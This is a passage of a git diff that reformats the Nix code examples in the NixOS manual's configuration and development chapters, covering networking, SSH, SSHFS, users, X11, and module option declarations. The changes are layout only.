+{ users.users.alice.extraGroups = [ "networkmanager" ]; }
 ```
 
 NetworkManager is controlled using either `nmcli` or `nmtui`
@@ -38,7 +34,9 @@ NetworkManager to ignore those interfaces like:
 ```nix
 {
   networking.networkmanager.unmanaged = [
-     "*" "except:type:wwan" "except:type:gsm"
+    "*"
+    "except:type:wwan"
+    "except:type:gsm"
   ];
 }
 ```
diff --git a/nixos/doc/manual/configuration/profiles.chapter.md b/nixos/doc/manual/configuration/profiles.chapter.md
index 6161d48e353f..31c313d11377 100644
--- a/nixos/doc/manual/configuration/profiles.chapter.md
+++ b/nixos/doc/manual/configuration/profiles.chapter.md
@@ -8,11 +8,7 @@ is to say, expected usage is to add them to the imports list of your
 `/etc/configuration.nix` as such:
 
 ```nix
-{
-  imports = [
-    <nixpkgs/nixos/modules/profiles/profile-name.nix>
-  ];
-}
+{ imports = [ <nixpkgs/nixos/modules/profiles/profile-name.nix> ]; }
 ```
 
 Even if some of these profiles seem only useful in the context of
diff --git a/nixos/doc/manual/configuration/ssh.section.md b/nixos/doc/manual/configuration/ssh.section.md
index b5d2bf09a61f..0db4f91b0bf7 100644
--- a/nixos/doc/manual/configuration/ssh.section.md
+++ b/nixos/doc/manual/configuration/ssh.section.md
@@ -3,9 +3,7 @@
 Secure shell (SSH) access to your machine can be enabled by setting:
 
 ```nix
-{
-  services.openssh.enable = true;
-}
+{ services.openssh.enable = true; }
 ```
 
 By default, root logins using a password are disallowed. They can be
@@ -17,7 +15,6 @@ as follows:
 
 ```nix
 {
-  users.users.alice.openssh.authorizedKeys.keys =
-    [ "ssh-ed25519 AAAAB3NzaC1kc3MAAACBAPIkGWVEt4..." ];
+  users.users.alice.openssh.authorizedKeys.keys = [ "ssh-ed25519 AAAAB3NzaC1kc3MAAACBAPIkGWVEt4..." ];
 }
 ```
diff --git a/nixos/doc/manual/configuration/sshfs-file-systems.section.md b/nixos/doc/manual/configuration/sshfs-file-systems.section.md
index 32b4aac78304..2c9b77b43aac 100644
--- a/nixos/doc/manual/configuration/sshfs-file-systems.section.md
+++ b/nixos/doc/manual/configuration/sshfs-file-systems.section.md
@@ -41,37 +41,38 @@ Here's a typical setup:
   fileSystems."/mnt/my-dir" = {
     device = "my-user@example.com:/my-dir/";
     fsType = "sshfs";
-    options =
-      [ # Filesystem options
-        "allow_other"          # for non-root access
-        "_netdev"              # this is a network fs
-        "x-systemd.automount"  # mount on demand
+    options = [
+      # Filesystem options
+      "allow_other" # for non-root access
+      "_netdev" # this is a network fs
+      "x-systemd.automount" # mount on demand
 
-        # SSH options
-        "reconnect"              # handle connection drops
-        "ServerAliveInterval=15" # keep connections alive
-        "IdentityFile=/var/secrets/example-key"
-      ];
+      # SSH options
+      "reconnect" # handle connection drops
+      "ServerAliveInterval=15" # keep connections alive
+      "IdentityFile=/var/secrets/example-key"
+    ];
   };
 }
 ```
 More options from `ssh_config(5)` can be given as well, for example you can change the default SSH port or specify a jump proxy:
 ```nix
 {
-  options =
-    [ "ProxyJump=bastion@example.com"
-      "Port=22"
-    ];
+  options = [
+    "ProxyJump=bastion@example.com"
+    "Port=22"
+  ];
 }
 ```
 It's also possible to change the `ssh` command used by SSHFS to connect to the server.
 For example:
 ```nix
 {
-  options =
-    [ (builtins.replaceStrings [" "] ["\\040"]
-        "ssh_command=${pkgs.openssh}/bin/ssh -v -L 8080:localhost:80")
-    ];
+  options = [
+    (builtins.replaceStrings [ " " ] [ "\\040" ]
+      "ssh_command=${pkgs.openssh}/bin/ssh -v -L 8080:localhost:80"
+    )
+  ];
 
 }
 ```
diff --git a/nixos/doc/manual/configuration/subversion.chapter.md b/nixos/doc/manual/configuration/subversion.chapter.md
index 2436138669fe..c82426c10541 100644
--- a/nixos/doc/manual/configuration/subversion.chapter.md
+++ b/nixos/doc/manual/configuration/subversion.chapter.md
@@ -24,7 +24,10 @@ appropriately:
 {
   services.httpd.enable = true;
   services.httpd.adminAddr = "...";
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
 }
 ```
 
@@ -38,25 +41,31 @@ the password file.
 ```nix
 {
   services.httpd.extraModules = [
-      # note that order is *super* important here
-      { name = "dav_svn"; path = "${pkgs.apacheHttpdPackages.subversion}/modules/mod_dav_svn.so"; }
-      { name = "authz_svn"; path = "${pkgs.apacheHttpdPackages.subversion}/modules/mod_authz_svn.so"; }
-    ];
-    services.httpd.virtualHosts = {
-      "svn" = {
-         hostName = HOSTNAME;
-         documentRoot = DOCUMENTROOT;
-         locations."/svn".extraConfig = ''
-             DAV svn
-             SVNParentPath REPO_PARENT
-             AuthzSVNAccessFile ACCESS_FILE
-             AuthName "SVN Repositories"
-             AuthType Basic
-             AuthUserFile PASSWORD_FILE
-             Require valid-user
-        '';
-      };
+    # note that order is *super* important here
+    {
+      name = "dav_svn";
+      path = "${pkgs.apacheHttpdPackages.subversion}/modules/mod_dav_svn.so";
+    }
+    {
+      name = "authz_svn";
+      path = "${pkgs.apacheHttpdPackages.subversion}/modules/mod_authz_svn.so";
+    }
+  ];
+  services.httpd.virtualHosts = {
+    "svn" = {
+      hostName = HOSTNAME;
+      documentRoot = DOCUMENTROOT;
+      locations."/svn".extraConfig = ''
+        DAV svn
+        SVNParentPath REPO_PARENT
+        AuthzSVNAccessFile ACCESS_FILE
+        AuthName "SVN Repositories"
+        AuthType Basic
+        AuthUserFile PASSWORD_FILE
+        Require valid-user
+      '';
     };
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/user-mgmt.chapter.md b/nixos/doc/manual/configuration/user-mgmt.chapter.md
index 3f490bb68d26..36f4717d2204 100644
--- a/nixos/doc/manual/configuration/user-mgmt.chapter.md
+++ b/nixos/doc/manual/configuration/user-mgmt.chapter.md
@@ -11,7 +11,10 @@ account named `alice` shall exist:
     isNormalUser = true;
     home = "/home/alice";
     description = "Alice Foobar";
-    extraGroups = [ "wheel" "networkmanager" ];
+    extraGroups = [
+      "wheel"
+      "networkmanager"
+    ];
     openssh.authorizedKeys.keys = [ "ssh-dss AAAAB3Nza... alice@foobar" ];
   };
 }
@@ -40,9 +43,7 @@ A user ID (uid) is assigned automatically. You can also specify a uid
 manually by adding
 
 ```nix
-{
-  uid = 1000;
-}
+{ uid = 1000; }
 ```
 
 to the user specification.
@@ -51,9 +52,7 @@ Groups can be specified similarly. The following states that a group
 named `students` shall exist:
 
 ```nix
-{
-  users.groups.students.gid = 1000;
-}
+{ users.groups.students.gid = 1000; }
 ```
 
 As with users, the group ID (gid) is optional and will be assigned
@@ -109,9 +108,7 @@ Instead of using a custom perl script to create users and groups, you can use
 systemd-sysusers:
 
 ```nix
-{
-  systemd.sysusers.enable = true;
-}
+{ systemd.sysusers.enable = true; }
 ```
 
 The primary benefit of this is to remove a dependency on perl.
@@ -137,9 +134,7 @@ the Perl script. It aims to eventually replace the Perl script by default.
 You can enable Userborn via:
 
 ```nix
-{
-  services.userborn.enable = true;
-}
+{ services.userborn.enable = true; }
 ```
 
 You can configure Userborn to store the password files
@@ -147,9 +142,7 @@ You can configure Userborn to store the password files
 location to `/etc`:
 
 ```nix
-{
-  services.userborn.passwordFilesLocation = "/persistent/etc";
-}
+{ services.userborn.passwordFilesLocation = "/persistent/etc"; }
 ```
 
 This is useful when you store `/etc` on a `tmpfs` or if `/etc` is immutable
diff --git a/nixos/doc/manual/configuration/wayland.chapter.md b/nixos/doc/manual/configuration/wayland.chapter.md
index 2d32f06987df..ed3bb3f55a65 100644
--- a/nixos/doc/manual/configuration/wayland.chapter.md
+++ b/nixos/doc/manual/configuration/wayland.chapter.md
@@ -9,9 +9,7 @@ a Wayland Compositor such as sway without separately enabling a Wayland
 server:
 
 ```nix
-{
-programs.sway.enable = true;
-}
+{ programs.sway.enable = true; }
 ```
 
 This installs the sway compositor along with some essential utilities.
diff --git a/nixos/doc/manual/configuration/wireless.section.md b/nixos/doc/manual/configuration/wireless.section.md
index df828698cf03..3331935d5c17 100644
--- a/nixos/doc/manual/configuration/wireless.section.md
+++ b/nixos/doc/manual/configuration/wireless.section.md
@@ -7,9 +7,7 @@ skip the rest of this section on wireless networks.
 NixOS will start wpa_supplicant for you if you enable this setting:
 
 ```nix
-{
-  networking.wireless.enable = true;
-}
+{ networking.wireless.enable = true; }
 ```
 
 NixOS lets you specify networks for wpa_supplicant declaratively:
@@ -17,17 +15,20 @@ NixOS lets you specify networks for wpa_supplicant declaratively:
 ```nix
 {
   networking.wireless.networks = {
-    echelon = {                # SSID with no spaces or special characters
+    echelon = {
+      # SSID with no spaces or special characters
       psk = "abcdefgh";
     };
-    "echelon's AP" = {         # SSID with spaces and/or special characters
+    "echelon's AP" = {
+      # SSID with spaces and/or special characters
       psk = "ijklmnop";
     };
-    echelon = {                # Hidden SSID
+    echelon = {
+      # Hidden SSID
       hidden = true;
       psk = "qrstuvwx";
     };
-    free.wifi = {};            # Public wireless network
+    free.wifi = { }; # Public wireless network
   };
 }
 ```
diff --git a/nixos/doc/manual/configuration/x-windows.chapter.md b/nixos/doc/manual/configuration/x-windows.chapter.md
index ec07e146de93..bfd7050b6a75 100644
--- a/nixos/doc/manual/configuration/x-windows.chapter.md
+++ b/nixos/doc/manual/configuration/x-windows.chapter.md
@@ -4,9 +4,7 @@ The X Window System (X11) provides the basis of NixOS' graphical user
 interface. It can be enabled as follows:
 
 ```nix
-{
-  services.xserver.enable = true;
-}
+{ services.xserver.enable = true; }
 ```
 
 The X server will automatically detect and use the appropriate video
@@ -14,9 +12,7 @@ driver from a set of X.org drivers (such as `vesa` and `intel`). You can
 also specify a driver manually, e.g.
 
 ```nix
-{
-  services.xserver.videoDrivers = [ "r128" ];
-}
+{ services.xserver.videoDrivers = [ "r128" ]; }
 ```
 
 to enable X.org's `xf86-video-r128` driver.
@@ -63,9 +59,7 @@ The X server is started automatically at boot time. If you don't want
 this to happen, you can set:
 
 ```nix
-{
-  services.xserver.autorun = false;
-}
+{ services.xserver.autorun = false; }
 ```
 
 The X server can then be started manually:
@@ -78,9 +72,7 @@ On 64-bit systems, if you want OpenGL for 32-bit programs such as in
 Wine, you should also set the following:
 
 ```nix
-{
-  hardware.graphics.enable32Bit = true;
-}
+{ hardware.graphics.enable32Bit = true; }
 ```
 
 ## Auto-login {#sec-x11-auto-login}
@@ -98,9 +90,7 @@ desktop environment. If you wanted no desktop environment and i3 as your
 your window manager, you'd define:
 
 ```nix
-{
-  services.displayManager.defaultSession = "none+i3";
-}
+{ services.displayManager.defaultSession = "none+i3"; }
 ```
 
 Every display manager in NixOS supports auto-login, here is an example
@@ -187,9 +177,7 @@ both drivers. Use the option
 to set one. The recommended configuration for modern systems is:
 
 ```nix
-{
-  services.xserver.videoDrivers = [ "modesetting" ];
-}
+{ services.xserver.videoDrivers = [ "modesetting" ]; }
 ```
 ::: {.note}
 The `modesetting` driver doesn't currently provide a `TearFree` option (this
@@ -204,7 +192,7 @@ reported to resolve the issue:
 ```nix
 {
   services.xserver.videoDrivers = [ "intel" ];
-    services.xserver.deviceSection = ''
+  services.xserver.deviceSection = ''
     Option "DRI" "2"
     Option "TearFree" "true"
   '';
@@ -221,9 +209,7 @@ better 3D performance than the X.org drivers. It is not enabled by
 default because it's not free software. You can enable it as follows:
 
 ```nix
-{
-  services.xserver.videoDrivers = [ "nvidia" ];
-}
+{ services.xserver.videoDrivers = [ "nvidia" ]; }
 ```
 
 If you have an older card, you may have to use one of the legacy drivers:
@@ -245,18 +231,14 @@ Support for Synaptics touchpads (found in many laptops such as the Dell
 Latitude series) can be enabled as follows:
 
 ```nix
-{
-  services.libinput.enable = true;
-}
+{ services.libinput.enable = true; }
 ```
 
 The driver has many options (see [](#ch-options)).
 For instance, the following disables tap-to-click behavior:
 
 ```nix
-{
-  services.libinput.touchpad.tapping = false;
-}
+{ services.libinput.touchpad.tapping = false; }
 ```
 
 Note: the use of `services.xserver.synaptics` is deprecated since NixOS
@@ -310,7 +292,7 @@ A minimal layout specification must include the following:
 {
   services.xserver.xkb.extraLayouts.us-greek = {
     description = "US layout with alt-gr greek";
-    languages   = [ "eng" ];
+    languages = [ "eng" ];
     symbolsFile = /yourpath/symbols/us-greek;
   };
 }
@@ -374,9 +356,9 @@ As before, to install the layout do
 ```nix
 {
   services.xserver.xkb.extraLayouts.media = {
-    description  = "Multimedia keys remapping";
-    languages    = [ "eng" ];
-    symbolsFile  = /path/to/media-key;
+    description = "Multimedia keys remapping";
+    languages = [ "eng" ];
+    symbolsFile = /path/to/media-key;
     keycodesFile = /path/to/media-sym;
   };
 }
diff --git a/nixos/doc/manual/development/assertions.section.md b/nixos/doc/manual/development/assertions.section.md
index eb5158c90f98..ad68398bf830 100644
--- a/nixos/doc/manual/development/assertions.section.md
+++ b/nixos/doc/manual/development/assertions.section.md
@@ -13,11 +13,15 @@ This is an example of using `warnings`.
 {
   config = lib.mkIf config.services.foo.enable {
     warnings =
-      if config.services.foo.bar
-      then [ ''You have enabled the bar feature of the foo service.
-               This is known to cause some specific problems in certain situations.
-               '' ]
-      else [];
+      if config.services.foo.bar then
+        [
+          ''
+            You have enabled the bar feature of the foo service.
+                           This is known to cause some specific problems in certain situations.
+          ''
+        ]
+      else
+        [ ];
   };
 }
 ```
@@ -30,11 +34,12 @@ This example, extracted from the [`syslogd` module](https://github.com/NixOS/nix
 { config, lib, ... }:
 {
   config = lib.mkIf config.services.syslogd.enable {
-    assertions =
-      [ { assertion = !config.services.rsyslogd.enable;
-          message = "rsyslogd conflicts with syslogd";
-        }
-      ];
+    assertions = [
+      {
+        assertion = !config.services.rsyslogd.enable;
+        message = "rsyslogd conflicts with syslogd";
+      }
+    ];
   };
 }
 ```
diff --git a/nixos/doc/manual/development/bootspec.chapter.md b/nixos/doc/manual/development/bootspec.chapter.md
index eb307c43088e..bf2b9853c1e6 100644
--- a/nixos/doc/manual/development/bootspec.chapter.md
+++ b/nixos/doc/manual/development/bootspec.chapter.md
@@ -20,7 +20,8 @@ For this purpose, Bootspec offers a generic extension facility [`boot.bootspec.e
 An example for SecureBoot is to get the Nix store path to `/etc/os-release` in order to bake it into a unified kernel image:
 
 ```nix
-{ config, lib, ... }: {
+{ config, lib, ... }:
+{
   boot.bootspec.extensions = {
     "org.secureboot.osRelease" = config.environment.etc."os-release".source;
   };
diff --git a/nixos/doc/manual/development/etc-overlay.section.md b/nixos/doc/manual/development/etc-overlay.section.md
index d8588f508a26..dcbc49028df2 100644
--- a/nixos/doc/manual/development/etc-overlay.section.md
+++ b/nixos/doc/manual/development/etc-overlay.section.md
@@ -9,9 +9,7 @@ Instead of using a custom perl script to activate `/etc`, you activate it via an
 overlay filesystem:
 
 ```nix
-{
-  system.etc.overlay.enable = true;
-}
+{ system.etc.overlay.enable = true; }
 ```
 
 Using an overlay has two benefits:
@@ -24,9 +22,7 @@ upper layer). However, you can also mount `/etc` immutably (i.e. read-only) by
 setting:
 
 ```nix
-{
-  system.etc.overlay.mutable = false;
-}
+{ system.etc.overlay.mutable = false; }
 ```
 
 The overlay is atomically replaced during system switch. However, files that
diff --git a/nixos/doc/manual/development/freeform-modules.section.md b/nixos/doc/manual/development/freeform-modules.section.md
index 4f344dd80460..17c37dae7e51 100644
--- a/nixos/doc/manual/development/freeform-modules.section.md
+++ b/nixos/doc/manual/development/freeform-modules.section.md
@@ -23,7 +23,8 @@ type-checked and assign a default value. See
 for a more complete example.
 
 ```nix
-{ lib, config, ... }: {
+{ lib, config, ... }:
+{
 
   options.settings = lib.mkOption {
     type = lib.types.submodule {
diff --git a/nixos/doc/manual/development/importing-modules.section.md b/nixos/doc/manual/development/importing-modules.section.md
index 32556b9bf192..c52097a332b2 100644
--- a/nixos/doc/manual/development/importing-modules.section.md
+++ b/nixos/doc/manual/development/importing-modules.section.md
@@ -4,14 +4,19 @@ Sometimes NixOS modules need to be used in configuration but exist
 outside of Nixpkgs. These modules can be imported:
 
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 
 {
-  imports =
-    [ # Use a locally-available module definition in
-      # ./example-module/default.nix
-        ./example-module
-    ];
+  imports = [
+    # Use a locally-available module definition in
+    # ./example-module/default.nix
+    ./example-module
+  ];
 
   services.exampleModule.enable = true;
 }
diff --git a/nixos/doc/manual/development/meta-attributes.section.md b/nixos/doc/manual/development/meta-attributes.section.md
index c1795ba89696..29724cf144d0 100644
--- a/nixos/doc/manual/development/meta-attributes.section.md
+++ b/nixos/doc/manual/development/meta-attributes.section.md
@@ -11,7 +11,12 @@ Each of the meta-attributes must be defined at most once per module
 file.
 
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 {
   options = {
     # ...
diff --git a/nixos/doc/manual/development/non-switchable-systems.section.md b/nixos/doc/manual/development/non-switchable-systems.section.md
index a51e8233f30b..f2468392fa0a 100644
--- a/nixos/doc/manual/development/non-switchable-systems.section.md
+++ b/nixos/doc/manual/development/non-switchable-systems.section.md
@@ -8,7 +8,8 @@ If you want to build such a system, you can use the `image-based-appliance`
 profile:
 
 ```nix
-{ modulesPath, ... }: {
+{ modulesPath, ... }:
+{
   imports = [ "${modulesPath}/profiles/image-based-appliance.nix" ];
 }
 ```
diff --git a/nixos/doc/manual/development/option-declarations.section.md b/nixos/doc/manual/development/option-declarations.section.md
index efccba3da37c..0fc2c1e20f87 100644
--- a/nixos/doc/manual/development/option-declarations.section.md
+++ b/nixos/doc/manual/development/option-declarations.section.md
@@ -79,13 +79,14 @@ For example:
 ### `mkEnableOption` usage
 ```nix
 lib.mkEnableOption "magic"
-# is like
-lib.mkOption {
-  type = lib.types.bool;
-  default = false;
-  example = true;
-  description = "Whether to enable magic.";
-}
+  # is like
+  lib.mkOption
+  {
+    type = lib.types.bool;
+    default = false;
+    example = true;
+    description = "Whether to enable magic.";
+  }
 ```
 :::
 
@@ -94,7 +95,14 @@ lib.mkOption {
 Usage:
 
 ```nix
-mkPackageOption pkgs "name" { default = [ "path" "in" "pkgs" ]; example = "literal example"; }
+mkPackageOption pkgs "name" {
+  default = [
+    "path"
+    "in"
+    "pkgs"
+  ];
+  example = "literal example";
+}
 ```
 
 Creates an Option attribute set for an option that specifies the package a module should use for some purpose.
@@ -127,47 +135,52 @@ Examples:
 ### Simple `mkPackageOption` usage
 ```nix
 lib.mkPackageOption pkgs "hello" { }
-# is like
-lib.mkOption {
-  type = lib.types.package;
-  default = pkgs.hello;
-  defaultText = lib.literalExpression "pkgs.hello";
-  description = "The hello package to use.";
-}
+  # is like
+  lib.mkOption
+  {
+    type = lib.types.package;
+    default = pkgs.hello;
+    defaultText = lib.literalExpression "pkgs.hello";
+    description = "The hello package to use.";
+  }
 ```
 :::
 
 ::: {#ex-options-declarations-util-mkPackageOption-ghc .example}
 ### `mkPackageOption` with explicit default and example
 ```nix
-lib.mkPackageOption pkgs "GHC" {
-  default = [ "ghc" ];
-  example = "pkgs.haskell.packages.ghc92.ghc.withPackages (hkgs: [ hkgs.primes ])";
-}
-# is like
-lib.mkOption {
-  type = lib.types.package;
-  default = pkgs.ghc;
-  defaultText = lib.literalExpression "pkgs.ghc";
-  example = lib.literalExpression "pkgs.haskell.packages.ghc92.ghc.withPackages (hkgs: [ hkgs.primes ])";
-  description = "The GHC package to use.";
-}
+lib.mkPackageOption pkgs "GHC"
+  {
+    default = [ "ghc" ];
+    example = "pkgs.haskell.packages.ghc92.ghc.withPackages (hkgs: [ hkgs.primes ])";
+  }
+  # is like
+  lib.mkOption
+  {
+    type = lib.types.package;
+    default = pkgs.ghc;
+    defaultText = lib.literalExpression "pkgs.ghc";
+    example = lib.literalExpression "pkgs.haskell.packages.ghc92.ghc.withPackages (hkgs: [ hkgs.primes ])";
+    description = "The GHC package to use.";
+  }
 ```
 :::
 
 ::: {#ex-options-declarations-util-mkPackageOption-extraDescription .example}
 ### `mkPackageOption` with additional description text
 ```nix
-mkPackageOption pkgs [ "python312Packages" "torch" ] {
-  extraDescription = "This is an example and doesn't actually do anything.";
-}
-# is like
-lib.mkOption {
-  type = lib.types.package;
-  default = pkgs.python312Packages.torch;
-  defaultText = lib.literalExpression "pkgs.python312Packages.torch";
-  description = "The pytorch package to use. This is an example and doesn't actually do anything.";
-}
+mkPackageOption pkgs [ "python312Packages" "torch" ]
+  {
+    extraDescription = "This is an example and doesn't actually do anything.";
+  }
+  # is like
+  lib.mkOption
+  {
+    type = lib.types.package;
+    default = pkgs.python312Packages.torch;
+    defaultText = lib.literalExpression "pkgs.python312Packages.torch";
+    description = "The pytorch package to use. This is an example and doesn't actually do anything.";
+  }
 ```
 :::
 
@@ -233,9 +246,7 @@ enforces that there can only be a single display manager enabled.
 ### Extending `services.xserver.displayManager.enable` in the `gdm` module
 ```nix
 {
-  services.xserver.displayManager.enable = mkOption {
-    type = with types; nullOr (enum [ "gdm" ]);
-  };
+  services.xserver.displayManager.enable = mkOption { type = with types; nullOr (enum [ "gdm" ]); };
 }
 ```
 :::
@@ -244,9 +255,7 @@ enforces that there can only be a single display manager enabled.
 ### Extending `services.xserver.displayManager.enable` in the `sddm` module
 ```nix
 {
-  services.xserver.displayManager.enable = mkOption {
-    type = with types; nullOr (enum [ "sddm" ]);
-  };
+  services.xserver.displayManager.enable = mkOption { type = with types; nullOr (enum [ "sddm" ]); };
 }
 ```
 :::
diff --git a/nixos/doc/manual/development/option-def.section.md b/nixos/doc/manual/development/option-def.section.md
index fddcfef393ae..745aa03f90d7 100644
--- a/nixos/doc/manual/development/option-def.section.md
+++ b/nixos/doc/manual/development/option-def.section.md
@@ -21,10 +21,16 @@ option, you may need to use `mkIf`. Consider, for instance:
 
 ```nix
 {
-  config = if config.services.httpd.enable then {
-    environment.systemPackages = [ /* ... */ ];
-    # ...
-  } else {};
+  config =
+    if config.services.httpd.enable then
+      {
+        environment.systemPackages = [
+          # ...
+        ];
+        # ...
+      }
+    else
+      { };
 }
 ```
 
@@ -35,11 +41,15 @@ clearly circular and contradictory:
 
 ```nix
 {
-  config = if config.services.httpd.enable then {
-    services.httpd.enable = false;
-  } else {
-    services.httpd.enable = true;
-  };
+  config =
+    if config.services.httpd.enable then
+      {
+        services.httpd.enable = false;
+      }
+    else
+      {
+        services.httpd.enable = true;
+      };
 }
 ```
 
@@ -48,7 +58,9 @@ The solution is to write:
 ```nix
 {
   config = mkIf config.services.httpd.enable {
-    environment.systemPackages = [ /* ... */ ];
+    environment.systemPackages = [
+      # ...
+    ];
     # ...
   };
 }
@@ -60,7 +72,13 @@ be "pushed down" into the individual definitions, as if you had written:
 ```nix
 {
   config = {
-    environment.systemPackages = if config.services.httpd.enable then [ /* ... */ ] else [];
+    environment.systemPackages =
+      if config.services.httpd.enable then
+        [
+          # ...
+        ]
+      else
+        [ ];
     # ...
   };
 }
@@ -75,9 +93,7 @@ priority 100 and option defaults have priority 1500.
 You can specify an explicit priority by using `mkOverride`, e.g.
 
 ```nix
-{
-  services.openssh.enable = mkOverride 10 false;
-}
+{ services.openssh.enable = mkOverride 10 false; }
 ```
 
 This definition causes all other definitions with priorities above 10 to
@@ -92,9 +108,7 @@ The functions `mkBefore` and `mkAfter` are equal to `mkOrder 500` and `mkOrder 1
 As an example,
 
 ```nix
-{
-  hardware.firmware = mkBefore [ myFirmware ];
-}
+{ hardware.firmware = mkBefore [ myFirmware ]; }
 ```
 
 This definition ensures that `myFirmware` comes before other unordered
@@ -112,15 +126,20 @@ they were declared in separate modules. This can be done using
 
 ```nix
 {
-  config = mkMerge
-    [ # Unconditional stuff.
-      { environment.systemPackages = [ /* ... */ ];
-      }
-      # Conditional stuff.
-      (mkIf config.services.bla.enable {
-        environment.systemPackages = [ /* ... */ ];
-      })
-    ];
+  config = mkMerge [
+    # Unconditional stuff.
+    {
+      environment.systemPackages = [
+        # ...
+      ];
+    }
+    # Conditional stuff.
+    (mkIf config.services.bla.enable {
+      environment.systemPackages = [
+        # ...
+      ];
+    })
+  ];
 }
 ```
 
@@ -145,8 +164,8 @@ This is what would work
 
 ```nix
 mkDefinition {
-   value = mkForce 42;
-   file = "somefile.nix";
+  value = mkForce 42;
+  file = "somefile.nix";
 }
 ```
 
@@ -154,8 +173,8 @@ While this would NOT work.
 
 ```nix
 mkForce (mkDefinition {
-   value = 42;
-   file = "somefile.nix";
+  value = 42;
+  file = "somefile.nix";
 })
 ```
 
@@ -164,9 +183,7 @@ The following shows an example configuration that yields an error with the custo
 ```nix
 {
   _file = "file.nix";
-  options.foo = mkOption {
-    default = 13;
-  };
+  options.foo = mkOption { default = 13; };
   config.foo = lib.mkDefinition {
     file = "custom place";
     # mkOptionDefault creates a conflict with the option foo's `default = 1` on purpose
diff --git a/nixos/doc/manual/development/option-types.section.md b/nixos/doc/manual/development/option-types.section.md
index c0add330b72e..b7b9f04acd95 100644
--- a/nixos/doc/manual/development/option-types.section.md
+++ b/nixos/doc/manual/development/option-types.section.md
@@ -495,16 +495,14 @@ if you want to allow users to leave it undefined.
 {
   options.mod = mkOption {
     description = "submodule example";
-    type = with types; submodule {
-      options = {
-        foo = mkOption {
-          type = int;
-        };
-        bar = mkOption {
-          type = str;
+    type =
+      with types;
+      submodule {
+        options = {
+          foo = mkOption { type = int; };
+          bar = mkOption { type = str; };
         };
       };
-    };
   };
 }
 ```
@@ -516,12 +514,8 @@ if you want to allow users to leave it undefined.
 let
   modOptions = {
     options = {
-      foo = mkOption {
-        type = int;
-      };
-      bar = mkOption {
-        type = int;
-      };
+      foo = mkOption { type = int; };
+      bar = mkOption { type = int; };
     };
   };
 in
@@ -546,16 +540,14 @@ multiple definitions of the submodule option set
 {
   options.mod = mkOption {
     description = "submodule example";
-    type = with types; listOf (submodule {
-      options = {
-        foo = mkOption {
-          type = int;
+    type =
+      with types;
+      listOf (submodule {
+        options = {
+          foo = mkOption { type = int; };
+          bar = mkOption { type = str; };
         };
-        bar = mkOption {
-          type = str;
-        };
-      };
-    });
+      });
   };
 }
 ```
@@ -566,8 +558,14 @@ multiple definitions of the submodule option set
 ```nix
 {
   config.mod = [
-    { foo = 1; bar = "one"; }
-    { foo = 2; bar = "two"; }
+    {
+      foo = 1;
+      bar = "one";
+    }
+    {
+      foo = 2;
+      bar = "two";
+    }
   ];
 }
 ```
@@ -584,16 +582,14 @@ multiple named definitions of the submodule option set
 {
   options.mod = mkOption {
     description = "submodule example";
-    type = with types; attrsOf (submodule {
-      options = {
-        foo = mkOption {
-          type = int;
+    type =
+      with types;
+      attrsOf (submodule {
+        options = {
+          foo = mkOption { type = int; };
+          bar = mkOption { type = str; };
         };
-        bar = mkOption {
-          type = str;
-        };
-      };
-    });
+      });
   };
 }
 ```
@@ -603,8 +599,14 @@ multiple named definitions of the submodule option set
 ### Definition of attribute sets of submodules
 ```nix
 {
-  config.mod.one = { foo = 1; bar = "one"; };
-  config.mod.two = { foo = 2; bar = "two"; };
+  config.mod.one = {
+    foo = 1;
+    bar = "one";
+  };
+  config.mod.two = {
+    foo = 2;
+    bar = "two";
+  };
 }
 ```
 :::
diff --git a/nixos/doc/manual/development/replace-modules.section.md b/nixos/doc/manual/development/replace-modules.section.md
index 45e2adbc2608..eb89ba7d7246 100644
--- a/nixos/doc/manual/development/replace-modules.section.md
+++ b/nixos/doc/manual/development/replace-modules.section.md
@@ -25,16 +25,21 @@ overrides the module definition, this won't use postgresql from
 nixos-unstable unless explicitly configured to do so.
 
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 
 {
   disabledModules = [ "services/databases/postgresql.nix" ];
 
-  imports =
-    [ # Use postgresql service from nixos-unstable channel.
-      # sudo nix-channel --add https://nixos.org/channels/nixos-unstable nixos-unstable
-      <nixos-unstable/nixos/modules/services/databases/postgresql.nix>
-    ];
+  imports = [
+    # Use postgresql service from nixos-unstable channel.
+    # sudo nix-channel --add https://nixos.org/channels/nixos-unstable nixos-unstable
+    <nixos-unstable/nixos/modules/services/databases/postgresql.nix>
+  ];
 
   services.postgresql.enable = true;
 }
@@ -45,13 +50,18 @@ existing module. Importing this module will disable the original module
 without having to know its implementation details.
 
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 
 let
   inherit (lib) mkIf mkOption types;
   cfg = config.programs.man;
-in
 
+in
 {
   disabledModules = [ "services/programs/man.nix" ];
 
diff --git a/nixos/doc/manual/development/running-nixos-tests-interactively.section.md b/nixos/doc/manual/development/running-nixos-tests-interactively.section.md
index 38d1e5916072..66be7d5f812b 100644
--- a/nixos/doc/manual/development/running-nixos-tests-interactively.section.md
+++ b/nixos/doc/manual/development/running-nixos-tests-interactively.section.md
@@ -70,7 +70,9 @@ An SSH-based backdoor to log into machines can be enabled with
 ```nix
 {
   name = "…";
-  nodes.machines = { /* … */ };
+  nodes.machines = {
+    # …
+  };
   interactive.sshBackdoor.enable = true;
 }
 ```
diff --git a/nixos/doc/manual/development/settings-options.section.md b/nixos/doc/manual/development/settings-options.section.md
index 736662ad7ed9..35973153b249 100644
--- a/nixos/doc/manual/development/settings-options.section.md
+++ b/nixos/doc/manual/development/settings-options.section.md
@@ -481,12 +481,19 @@ with some other related best practices. See the comments for
 explanations.
 
 ```nix
-{ options, config, lib, pkgs, ... }:
+{
+  options,
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 let
   cfg = config.services.foo;
   # Define the settings format used for this program
-  settingsFormat = pkgs.formats.json {};
-in {
+  settingsFormat = pkgs.formats.json { };
+in
+{
 
   options.services.foo = {
     enable = lib.mkEnableOption "foo service";
@@ -494,7 +501,7 @@ in {
     settings = lib.mkOption {
       # Setting this type allows for correct merging behavior
       type = settingsFormat.type;
-      default = {};
+      default = { };
       description = ''
         Configuration for foo, see
